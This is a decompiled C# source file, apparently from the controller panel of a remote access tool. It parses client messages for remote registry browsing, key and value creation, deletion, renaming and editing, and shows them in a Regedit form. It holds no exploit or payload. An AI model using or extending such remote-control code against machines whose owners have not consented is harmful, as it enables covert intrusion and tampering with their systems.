using System.Collections.Generic; using System.Windows.Forms; using Leb128; using Microsoft.Win32; using Server.Connectings; using Server.Forms; using Server.Helper; namespace Server.Messages; internal class HandlerRegedit { public static void Read(Clients client, object[] objects) { string text = (string)objects[1]; if (text == null) { return; } switch (text.Length) { case 7: switch (text[0]) { case 'C': { if (!(text == "Connect")) { break; } FormRegedit form2 = (FormRegedit)Application.OpenForms["Regedit:" + (string)objects[2]]; if (form2 == null) { client.Disconnect(); break; } string rootKey2 = (string)objects[3]; List seekerMatches2 = new List(); int num4 = 4; while (num4 < objects.Length) { RegistrySeeker.RegSeekerMatch regSeekerMatch3 = new RegistrySeeker.RegSeekerMatch(); regSeekerMatch3.Key = (string)objects[num4++]; object[] array3 = LEB128.Read((byte[])objects[num4++]); List list3 = new List(); int num5 = 0; while (num5 < array3.Length) { RegistrySeeker.RegValueData regValueData5 = new RegistrySeeker.RegValueData(); regValueData5.Name = (string)array3[num5++]; regValueData5.Kind = (RegistryValueKind)(int)array3[num5++]; regValueData5.Data = (byte[])array3[num5++]; list3.Add(regValueData5); } regSeekerMatch3.Data = list3.ToArray(); regSeekerMatch3.HasSubKeys = (bool)objects[num4++]; seekerMatches2.Add(regSeekerMatch3); } form2.Invoke((MethodInvoker)delegate { form2.materialLabel1.Enabled = true; form2.lstRegistryValues.Enabled = true; form2.tvRegistryDirectory.Enabled = true; form2.Text = "Regedit [" + (string)objects[2] + "]"; form2.materialLabel1.Text = "Succues Connect"; form2.AddKeys(rootKey2, seekerMatches2.ToArray()); form2.client = client; }); client.Tag = form2; client.Hwid = (string)objects[2]; break; } case 'L': { if (!(text == "LoadKey")) { break; } FormRegedit FM8 = (FormRegedit)client.Tag; if (FM8 == null) { break; } string rootKey = (string)objects[2]; List seekerMatches = new List(); int num2 = 3; while (num2 < objects.Length) { RegistrySeeker.RegSeekerMatch regSeekerMatch2 = new RegistrySeeker.RegSeekerMatch(); regSeekerMatch2.Key = (string)objects[num2++]; object[] array2 = LEB128.Read((byte[])objects[num2++]); List list2 = new List(); int num3 = 0; while (num3 < array2.Length) { RegistrySeeker.RegValueData regValueData4 = new RegistrySeeker.RegValueData(); regValueData4.Name = (string)array2[num3++]; regValueData4.Kind = (RegistryValueKind)(int)array2[num3++]; regValueData4.Data = (byte[])array2[num3++]; list2.Add(regValueData4); } regSeekerMatch2.Data = list2.ToArray(); regSeekerMatch2.HasSubKeys = (bool)objects[num2++]; seekerMatches.Add(regSeekerMatch2); } FM8.Invoke((MethodInvoker)delegate { FM8.AddKeys(rootKey, seekerMatches.ToArray()); }); break; } } break; case 9: switch (text[0]) { case 'C': { if (!(text == "CreateKey")) { break; } FormRegedit FM7 = (FormRegedit)client.Tag; if (FM7 != null) { string ParentPath = (string)objects[2]; RegistrySeeker.RegSeekerMatch regSeekerMatch = new RegistrySeeker.RegSeekerMatch(); regSeekerMatch.Key = (string)objects[3]; object[] array = LEB128.Read((byte[])objects[4]); List list = new List(); int num = 0; while (num < array.Length) { RegistrySeeker.RegValueData regValueData3 = new RegistrySeeker.RegValueData(); regValueData3.Name = (string)array[num++]; regValueData3.Kind = (RegistryValueKind)(int)array[num++]; regValueData3.Data = (byte[])array[num++]; list.Add(regValueData3); } regSeekerMatch.Data = list.ToArray(); regSeekerMatch.HasSubKeys = (bool)objects[5]; FM7.Invoke((MethodInvoker)delegate { FM7.CreateNewKey(ParentPath, regSeekerMatch); }); } break; } case 'D': { if (!(text == "DeleteKey")) { break; } FormRegedit FM6 = (FormRegedit)client.Tag; if (FM6 != null) { FM6.Invoke((MethodInvoker)delegate { FM6.DeleteKey((string)objects[2], (string)objects[3]); }); } break; } case 'R': { if (!(text == "RenameKey")) { break; } FormRegedit FM5 = (FormRegedit)client.Tag; if (FM5 != null) { FM5.Invoke((MethodInvoker)delegate { FM5.RenameKey((string)objects[2], (string)objects[3], (string)objects[4]); }); } break; } } break; case 11: switch (text[2]) { case 'e': { if (!(text == "CreateValue")) { break; } FormRegedit FM3 = (FormRegedit)client.Tag; if (FM3 != null) { string keyPath2 = (string)objects[2]; string text2 = (string)objects[3]; string name = (string)objects[4]; RegistryValueKind kind = RegistryValueKind.None; switch (text2) { case "-1": kind = RegistryValueKind.None; break; case "0": kind = RegistryValueKind.Unknown; break; case "1": kind = RegistryValueKind.String; break; case "2": kind = RegistryValueKind.ExpandString; break; case "3": kind = RegistryValueKind.Binary; break; case "4": kind = RegistryValueKind.DWord; break; case "7": kind = RegistryValueKind.MultiString; break; case "11": kind = RegistryValueKind.QWord; break; } RegistrySeeker.RegValueData regValueData2 = new RegistrySeeker.RegValueData(); regValueData2.Name = name; regValueData2.Kind = kind; regValueData2.Data = new byte[0]; FM3.Invoke((MethodInvoker)delegate { FM3.CreateValue(keyPath2, regValueData2); }); } break; } case 'l': { if (!(text == "DeleteValue")) { break; } FormRegedit FM2 = (FormRegedit)client.Tag; if (FM2 != null) { FM2.Invoke((MethodInvoker)delegate { FM2.DeleteValue((string)objects[2], (string)objects[3]); }); } break; } case 'n': { if (!(text == "RenameValue")) { break; } FormRegedit FM4 = (FormRegedit)client.Tag; if (FM4 != null) { FM4.Invoke((MethodInvoker)delegate { FM4.RenameValue((string)objects[2], (string)objects[3], (string)objects[4]); }); } break; } case 'a': { if (!(text == "ChangeValue")) { break; } FormRegedit FM = (FormRegedit)client.Tag; if (FM != null) { string keyPath = (string)objects[2]; RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData(); regValueData.Name = (string)objects[3]; regValueData.Kind = (RegistryValueKind)(int)objects[4]; regValueData.Data = (byte[])objects[5]; FM.Invoke((MethodInvoker)delegate { FM.ChangeValue(keyPath, regValueData); }); } break; } } break; case 5: { if (!(text == "Error")) { break; } if (client.Tag == null) { client.Disconnect(); break; } FormRegedit form = (FormRegedit)client.Tag; form.Invoke((MethodInvoker)delegate { form.materialLabel1.Text = "Error: " + (string)objects[2]; }); break; } case 6: case 8: case 10: break; } } }